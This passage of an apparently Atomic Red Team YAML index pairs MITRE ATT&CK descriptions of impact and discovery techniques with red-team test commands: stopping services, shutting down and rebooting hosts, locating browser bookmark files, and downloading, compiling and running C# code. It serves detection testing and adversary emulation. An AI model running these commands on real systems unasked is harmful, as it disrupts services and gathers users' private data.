      - source_name: Cisco DoSdetectNetflow
        url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
        description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow.
          Retrieved April 25, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Service Exhaustion Flood
      description: |-
        Adversaries may target the different network services provided by systems to conduct a DoS. Adversaries often target DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.

        One example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)

        Another variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)
      id: attack-pattern--38eb0c22-6caf-46ce-8869-5964bd735858
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      modified: '2021-03-29T16:11:12.815Z'
      created: '2020-02-20T15:31:43.613Z'
      x_mitre_version: '1.2'
      x_mitre_is_subtechnique: true
      x_mitre_impact_type:
      - Availability
      x_mitre_detection: |-
        Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.

        In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.

        Externally monitor the availability of services that may be targeted by an Endpoint DoS.
      x_mitre_data_sources:
      - 'Sensor Health: Host Status'
      - 'Application Log: Application Log Content'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
    atomic_tests: []
  T1489:
    technique:
      created: '2019-03-29T19:00:55.901Z'
      modified: '2021-03-02T22:11:32.017Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      type: attack-pattern
      id: attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b
      description: "Adversaries may stop or disable services on a system to render
        those services unavailable to legitimate users. Stopping critical services
        or processes can inhibit or stop response to an incident or aid in the adversary's
        overall objectives to cause damage to the environment.(Citation: Talos Olympic
        Destroyer 2018)(Citation: Novetta Blockbuster) \n\nAdversaries may accomplish
        this by disabling individual services of high importance to an organization,
        such as <code>MSExchangeIS</code>, which will make Exchange content inaccessible
        (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable
        many or all services to render systems unusable.(Citation: Talos Olympic Destroyer
        2018) Services or processes may not allow for modification of their data stores
        while running. Adversaries may stop services or processes in order to conduct
        [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted
        for Impact](https://attack.mitre.org/techniques/T1486) on the data stores
        of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)"
      name: Service Stop
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - external_id: T1489
        source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1489
      - source_name: Talos Olympic Destroyer 2018
        url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
        description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer
          Takes Aim At Winter Olympics. Retrieved March 14, 2019.
      - source_name: Novetta Blockbuster
        description: 'Novetta Threat Research Group. (2016, February 24). Operation
          Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February
          25, 2016.'
        url: https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf
      - source_name: SecureWorks WannaCry Analysis
        url: https://www.secureworks.com/research/wcry-ransomware-analysis
        description: Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware
          Analysis. Retrieved March 26, 2019.
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      - User
      x_mitre_version: '1.2'
      x_mitre_detection: |-
        Monitor processes and command-line arguments to see if critical processes are terminated or stop running.

        Monitor for edits for modifications to services and startup programs that correspond to services of high importance. Look for changes to services that do not correlate with known software, patch cycles, etc. Windows service information is stored in the Registry at <code>HKLM\SYSTEM\CurrentControlSet\Services</code>. Systemd service unit files are stored within the /etc/systemd/system, /usr/lib/systemd/system/, and /home/.config/systemd/user/ directories, as well as associated symbolic links.

        Alterations to the service binary path or the service startup type changed to disabled may be suspicious.

        Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, <code>ChangeServiceConfigW</code> may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018)
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      - 'Service: Service Metadata'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'File: File Modification'
      - 'Process: Process Termination'
      x_mitre_impact_type:
      - Availability
      identifier: T1489
    atomic_tests:
    - name: Windows - Stop service using Service Controller
      auto_generated_guid: 21dfb440-830d-4c86-a3e5-2a491d5a8d04
      description: |
        Stops a specified service using the sc.exe command. Upon execution, if the spooler service was running infomration will be displayed saying
        it has changed to a state of STOP_PENDING. If the spooler service was not running "The service has not been started." will be displayed and it can be
        started by running the cleanup command.
      supported_platforms:
      - windows
      input_arguments:
        service_name:
          description: Name of a service to stop
          type: String
          default: spooler
      executor:
        command: 'sc.exe stop #{service_name}

'
        cleanup_command: 'sc.exe start #{service_name} >nul 2>&1

'
        name: command_prompt
        elevation_required: true
    - name: Windows - Stop service using net.exe
      auto_generated_guid: 41274289-ec9c-4213-bea4-e43c4aa57954
      description: |
        Stops a specified service using the net.exe command. Upon execution, if the service was running "The Print Spooler service was stopped successfully."
        will be displayed. If the service was not running, "The Print Spooler service is not started." will be displayed and it can be
        started by running the cleanup command.
      supported_platforms:
      - windows
      input_arguments:
        service_name:
          description: Name of a service to stop
          type: String
          default: spooler
      executor:
        command: 'net.exe stop #{service_name}

'
        cleanup_command: 'net.exe start #{service_name} >nul 2>&1

'
        name: command_prompt
        elevation_required: true
    - name: Windows - Stop service by killing process
      auto_generated_guid: f3191b84-c38b-400b-867e-3a217a27795f
      description: |
        Stops a specified service killng the service's process.
        This technique was used by WannaCry. Upon execution, if the spoolsv service was running "SUCCESS: The process "spoolsv.exe" with PID 2316 has been terminated."
        will be displayed. If the service was not running "ERROR: The process "spoolsv.exe" not found." will be displayed and it can be
        started by running the cleanup command.
      supported_platforms:
      - windows
      input_arguments:
        process_name:
          description: Name of a process to kill
          type: String
          default: spoolsv.exe
      executor:
        command: 'taskkill.exe /f /im #{process_name}

'
        name: command_prompt
  T1565.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1565.001
        url: https://attack.mitre.org/techniques/T1565/001
      - description: 'FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved
          November 6, 2018.'
        url: https://content.fireeye.com/apt/rpt-apt38
        source_name: FireEye APT38 Oct 2018
      - source_name: DOJ Lazarus Sony 2018
        url: https://www.justice.gov/opa/press-release/file/1092091/download
        description: Department of Justice. (2018, September 6). Criminal Complaint
          - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Stored Data Manipulation
      description: |-
        Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

        Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
      id: attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      modified: '2020-03-02T15:17:40.505Z'
      created: '2020-03-02T14:22:24.410Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      - Administrator
      - root
      - SYSTEM
      x_mitre_impact_type:
      - Integrity
      x_mitre_detection: Where applicable, inspect important file hashes, locations,
        and modifications for suspicious/unexpected values.
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Deletion'
      - 'File: File Modification'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1529:
    technique:
      created: '2019-10-04T20:42:28.541Z'
      modified: '2020-03-27T21:18:48.149Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      type: attack-pattern
      id: attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc
      description: |-
        Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.(Citation: Microsoft Shutdown Oct 2017) Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.

        Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)
      name: System Shutdown/Reboot
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1529
        url: https://attack.mitre.org/techniques/T1529
      - source_name: Microsoft Shutdown Oct 2017
        url: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown
        description: Microsoft. (2017, October 15). Shutdown. Retrieved October 4,
          2019.
      - source_name: Talos Nyetya June 2017
        url: https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html
        description: Chiu, A. (2016, June 27). New Ransomware Variant "Nyetya" Compromises
          Systems Worldwide. Retrieved March 26, 2019.
      - source_name: Talos Olympic Destroyer 2018
        url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
        description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer
          Takes Aim At Winter Olympics. Retrieved March 14, 2019.
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Sensor Health: Host Status'
      x_mitre_permissions_required:
      - User
      - Administrator
      - root
      - SYSTEM
      x_mitre_impact_type:
      - Availability
      x_mitre_version: '1.0'
      x_mitre_detection: Use process monitoring to monitor the execution and command
        line parameters of binaries involved in shutting down or rebooting systems.
        Windows event logs may also designate activity associated with a shutdown/reboot,
        ex. Event ID 1074 and 6006.
      x_mitre_is_subtechnique: false
      identifier: T1529
    atomic_tests:
    - name: Shutdown System - Windows
      auto_generated_guid: ad254fa8-45c0-403b-8c77-e00b3d3e7a64
      description: 'This test shuts down a Windows system.

'
      supported_platforms:
      - windows
      input_arguments:
        timeout:
          description: Timeout period before shutdown (seconds)
          type: Integer
          default: 1
      executor:
        command: 'shutdown /s /t #{timeout}

'
        name: command_prompt
        elevation_required: true
    - name: Restart System - Windows
      auto_generated_guid: f4648f0d-bf78-483c-bafc-3ec99cd1c302
      description: 'This test restarts a Windows system.

'
      supported_platforms:
      - windows
      input_arguments:
        timeout:
          description: Timeout period before restart (seconds)
          type: Integer
          default: 1
      executor:
        command: 'shutdown /r /t #{timeout}

'
        name: command_prompt
        elevation_required: true
    - name: Restart System via `shutdown` - macOS/Linux
      auto_generated_guid: 6326dbc4-444b-4c04-88f4-27e94d0327cb
      description: 'This test restarts a macOS/Linux system.

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        timeout:
          description: Time to restart (can be minutes or specific time)
          type: String
          default: now
      executor:
        command: 'shutdown -r #{timeout}

'
        name: bash
        elevation_required: true
    - name: Shutdown System via `shutdown` - macOS/Linux
      auto_generated_guid: 4963a81e-a3ad-4f02-adda-812343b351de
      description: 'This test shuts down a macOS/Linux system using a halt.

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        timeout:
          description: Time to shutdown (can be minutes or specific time)
          type: String
          default: now
      executor:
        command: 'shutdown -h #{timeout}

'
        name: bash
        elevation_required: true
    - name: Restart System via `reboot` - macOS/Linux
      auto_generated_guid: 47d0b042-a918-40ab-8cf9-150ffe919027
      description: 'This test restarts a macOS/Linux system via `reboot`.

'
      supported_platforms:
      - macos
      - linux
      executor:
        command: 'reboot

'
        name: bash
        elevation_required: true
    - name: Shutdown System via `halt` - Linux
      auto_generated_guid: 918f70ab-e1ef-49ff-bc57-b27021df84dd
      description: 'This test shuts down a Linux system using `halt`.

'
      supported_platforms:
      - linux
      executor:
        command: 'halt -p

'
        name: bash
        elevation_required: true
    - name: Reboot System via `halt` - Linux
      auto_generated_guid: 78f92e14-f1e9-4446-b3e9-f1b921f2459e
      description: 'This test restarts a Linux system using `halt`.

'
      supported_platforms:
      - linux
      executor:
        command: 'halt --reboot

'
        name: bash
        elevation_required: true
    - name: Shutdown System via `poweroff` - Linux
      auto_generated_guid: 73a90cd2-48a2-4ac5-8594-2af35fa909fa
      description: 'This test shuts down a Linux system using `poweroff`.

'
      supported_platforms:
      - linux
      executor:
        command: 'poweroff

'
        name: bash
        elevation_required: true
    - name: Reboot System via `poweroff` - Linux
      auto_generated_guid: 61303105-ff60-427b-999e-efb90b314e41
      description: 'This test restarts a Linux system using `poweroff`.

'
      supported_platforms:
      - linux
      executor:
        command: 'poweroff --reboot

'
        name: bash
        elevation_required: true
  T1565.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1565.002
        url: https://attack.mitre.org/techniques/T1565/002
      - description: 'FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved
          November 6, 2018.'
        url: https://content.fireeye.com/apt/rpt-apt38
        source_name: FireEye APT38 Oct 2018
      - source_name: DOJ Lazarus Sony 2018
        url: https://www.justice.gov/opa/press-release/file/1092091/download
        description: Department of Justice. (2018, September 6). Criminal Complaint
          - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Transmitted Data Manipulation
      description: |-
        Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

        Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
      id: attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      modified: '2020-03-02T15:20:28.455Z'
      created: '2020-03-02T14:27:00.693Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      - Administrator
      - SYSTEM
      - root
      x_mitre_impact_type:
      - Integrity
      x_mitre_detection: 'Detecting the manipulation of data as at passes over a network
        can be difficult without the appropriate tools. In some cases integrity verification
        checks, such as file hashing, may be used on critical files as they transit
        a network. With some critical processes involving transmission of data, manual
        or out-of-band integrity checking may be useful for identifying manipulated
        data. '
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
discovery:
  T1087:
    technique:
      id: attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Account Discovery
      description: Adversaries may attempt to get a listing of accounts on a system
        or within an environment. This information can help adversaries determine
        which accounts exist to aid in follow-on behavior.
      external_references:
      - source_name: mitre-attack
        external_id: T1087
        url: https://attack.mitre.org/techniques/T1087
      - external_id: CAPEC-575
        source_name: capec
        url: https://capec.mitre.org/data/definitions/575.html
      - source_name: Elastic - Koadiac Detection with EQL
        url: https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql
        description: 'Stepanic, D.. (2020, January 13). Embracing offensive tooling:
          Building detections against Koadic using EQL. Retrieved November 30, 2020.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2021-04-14T12:26:11.595Z'
      created: '2017-05-31T21:31:06.988Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

        Monitor for processes that can be used to enumerate user accounts, such as <code>net.exe</code> and <code>net1.exe</code>, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)
      x_mitre_data_sources:
      - 'User Account: User Account Metadata'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'File: File Access'
      x_mitre_contributors:
      - Daniel Stepanic, Elastic
      - Microsoft Threat Intelligence Center (MSTIC)
      - Travis Smith, Tripwire
      x_mitre_version: '2.3'
    atomic_tests: []
  T1010:
    technique:
      id: attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Application Window Discovery
      description: Adversaries may attempt to get a listing of open application windows.
        Window listings could convey information about how the system is used or give
        context to information collected by a keylogger.
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1010
        external_id: T1010
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2020-03-26T15:44:27.068Z'
      created: '2017-05-31T21:30:24.512Z'
      x_mitre_is_subtechnique: false
      x_mitre_permissions_required:
      - User
      x_mitre_platforms:
      - macOS
      - Windows
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_version: '1.1'
      identifier: T1010
    atomic_tests:
    - name: List Process Main Windows - C# .NET
      auto_generated_guid: fe94a1c3-3e22-4dc9-9fdf-3a8bdbc10dc4
      description: |
        Compiles and executes C# code to list main window titles associated with each process.

        Upon successful execution, powershell will download the .cs from the Atomic Red Team repo, and cmd.exe will compile and execute T1010.exe. Upon T1010.exe execution, expected output will be via stdout.
      supported_platforms:
      - windows
      input_arguments:
        input_source_code:
          description: Path to source of C# code
          type: Path
          default: PathToAtomicsFolder\T1010\src\T1010.cs
        output_file_name:
          description: Name of output binary
          type: String
          default: "%TEMP%\\T1010.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: 'T1010.cs must exist on disk at specified location (#{input_source_code})

'
        prereq_command: 'if (Test-Path #{input_source_code}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{input_source_code}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1010/src/T1010.cs -OutFile "#{input_source_code}"
      executor:
        command: |
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe -out:#{output_file_name} #{input_source_code}
          #{output_file_name}
        cleanup_command: 'del /f /q /s #{output_file_name} >nul 2>&1

'
        name: command_prompt
  T1217:
    technique:
      id: attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Browser Bookmark Discovery
      description: |-
        Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.

        Browser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](https://attack.mitre.org/techniques/T1552/001) associated with logins cached by a browser.

        Specific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1217
        external_id: T1217
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2020-03-26T16:06:07.367Z'
      created: '2018-04-18T17:59:24.739Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      x_mitre_permissions_required:
      - User
      x_mitre_detection: |-
        Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Access'
      x_mitre_contributors:
      - Mike Kemmerer
      x_mitre_version: '1.0'
      identifier: T1217
    atomic_tests:
    - name: List Mozilla Firefox Bookmark Database Files on Linux
      auto_generated_guid: 3a41f169-a5ab-407f-9269-abafdb5da6c2
      description: 'Searches for Mozilla Firefox''s places.sqlite file (on Linux distributions)
        that contains bookmarks and lists any found instances to a text file.

'
      supported_platforms:
      - linux
      input_arguments:
        output_file:
          description: Path where captured results will be placed.
          type: Path
          default: "/tmp/T1217-Firefox.txt"
      executor:
        command: |
          find / -path "*.mozilla/firefox/*/places.sqlite" 2>/dev/null -exec echo {} >> #{output_file} \;
          cat #{output_file} 2>/dev/null
        cleanup_command: 'rm -f #{output_file} 2>/dev/null

'
        name: sh
    - name: List Mozilla Firefox Bookmark Database Files on macOS
      auto_generated_guid: 1ca1f9c7-44bc-46bb-8c85-c50e2e94267b
      description: 'Searches for Mozilla Firefox''s places.sqlite file (on macOS)
        that contains bookmarks and lists any found instances to a text file.

'
      supported_platforms:
      - macos
      input_arguments:
        output_file:
          description: Path where captured results will be placed.
          type: Path
          default: "/tmp/T1217_Firefox.txt"
      executor:
        command: |
          find / -path "*/Firefox/Profiles/*/places.sqlite" -exec echo {} >> #{output_file} \;
          cat #{output_file} 2>/dev/null
        cleanup_command: 'rm -f #{output_file} 2>/dev/null

'
        name: sh
    - name: List Google Chrome Bookmark JSON Files on macOS
      auto_generated_guid: b789d341-154b-4a42-a071-9111588be9bc
      description: 'Searches for Google Chrome''s Bookmark file (on macOS) that contains
        bookmarks in JSON format and lists any found instances to a text file.

'
      supported_platforms:
      - macos
      input_arguments:
        output_file:
          description: Path where captured results will be placed.
          type: Path
          default: "/tmp/T1217-Chrome.txt"
      executor:
        command: |
          find / -path "*/Google/Chrome/*/Bookmarks" -exec echo {} >> #{output_file} \;
          cat #{output_file} 2>/dev/null
        cleanup_command: 'rm -f #{output_file} 2>/dev/null

'
        name: sh
    - name: List Google Chrome / Opera Bookmarks on Windows with powershell
      auto_generated_guid: faab755e-4299-48ec-8202-fc7885eb6545
      description: |
        Searches for Google Chrome's and Opera's Bookmarks file (on Windows distributions) that contains bookmarks.
        Upon execution, paths that contain bookmark files will be displayed.
      supported_platforms:
      - windows
      executor:
        command: 'Get-ChildItem -Path C:\Users\ -Filter Bookmarks -Recurse -ErrorAction
          SilentlyContinue -Force

'
        name: powershell
    - name: List Google Chrome / Edge Chromium Bookmarks on Windows with command prompt
      auto_generated_guid: 76f71e2f-480e-4bed-b61e-398fe17499d5
      description: |
        Searches for Google Chromes's and Edge Chromium's Bookmarks file (on Windows distributions) that contains bookmarks.
        Upon execution, paths that contain bookmark files will be displayed.
      supported_platforms:
      - windows
      executor:
        command: 'where /R C:\Users\ Bookmarks

'
        name: command_prompt
    - name: List Mozilla Firefox bookmarks on Windows with command prompt
      auto_generated_guid: 4312cdbc-79fc-4a9c-becc-53d49c734bc5
      description: |
        Searches for Mozilla Firefox bookmarks file (on Windows distributions) that contains bookmarks in a SQLITE database.
        Upon execution, paths that contain bookmark files will be displayed.
      supported_platforms:
      - windows
      executor:
        command: 'where /R C:\Users\ places.sqlite

'
        name: command_prompt
    - name: List Internet Explorer Bookmarks using the command prompt
      auto_generated_guid: 727dbcdb-e495-4ab1-a6c4-80c7f77aef85
      description: This test will list the bookmarks for Internet Explorer that are
        found in the Favorites folder
      supported_platforms:
      - windows
      executor:
        command: 'dir /s /b %USERPROFILE%\Favorites

'
        name: command_prompt
  T1087.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1087.004
        url: https://attack.mitre.org/techniques/T1087/004
      - description: Microsoft. (n.d.). Get-MsolRoleMember. Retrieved October 6, 2019.
        url: https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0
        source_name: Microsoft msolrolemember
      - description: Stringer, M.. (2018, November 21). RainDance. Retrieved October
          6, 2019.
        url: https://github.com/True-Demon/raindance
        source_name: GitHub Raindance
      - description: Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.
        url: https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest
        source_name: Microsoft AZ CLI
      - description: Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active
          Directory Leaks via Azure. Retrieved October 6, 2019.
        url: https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/
        source_name: Black Hills Red Teaming MS AD Azure, 2018
      - source_name: AWS List Roles
        description: Amazon. (n.d.). List Roles. Retrieved August 11, 2020.
        url: https://docs.aws.amazon.com/cli/latest/reference/iam/list-roles.html
      - source_name: AWS List Users
        url: https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html
        description: Amazon. (n.d.). List Users. Retrieved August 11, 2020.
      - source_name: Google Cloud - IAM Servie Accounts List API
        url: https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list
        description: Google. (2020, June 23). gcloud iam service-accounts list. Retrieved
          August 4, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Cloud Account
      description: "Adversaries may attempt to get a listing of cloud accounts. Cloud
        accounts are those created and configured by an organization for use by users,
        remote support, services, or for administration of resources within a cloud
        service provider or SaaS application.\n\nWith authenticated access there are
        several tools that can be used to find accounts. The <code>Get-MsolRoleMember</code>
        PowerShell cmdlet can be used to obtain account names given a role or permissions
        group in Office 365.(Citation: Microsoft msolrolemember)(Citation: GitHub
        Raindance) The Azure CLI (AZ CLI) also provides an interface to obtain user
        accounts with authenticated access to a domain. The command <code>az ad user
        list</code> will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation:
        Black Hills Red Teaming MS AD Azure, 2018) \n\nThe AWS command <code>aws iam
        list-users</code> may be used to obtain a list of users in the current account
        while <code>aws iam list-roles</code> can obtain IAM roles that have a specified
        path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, <code>gcloud
        iam service-accounts list</code> and <code>gcloud projects get-iam-policy</code>
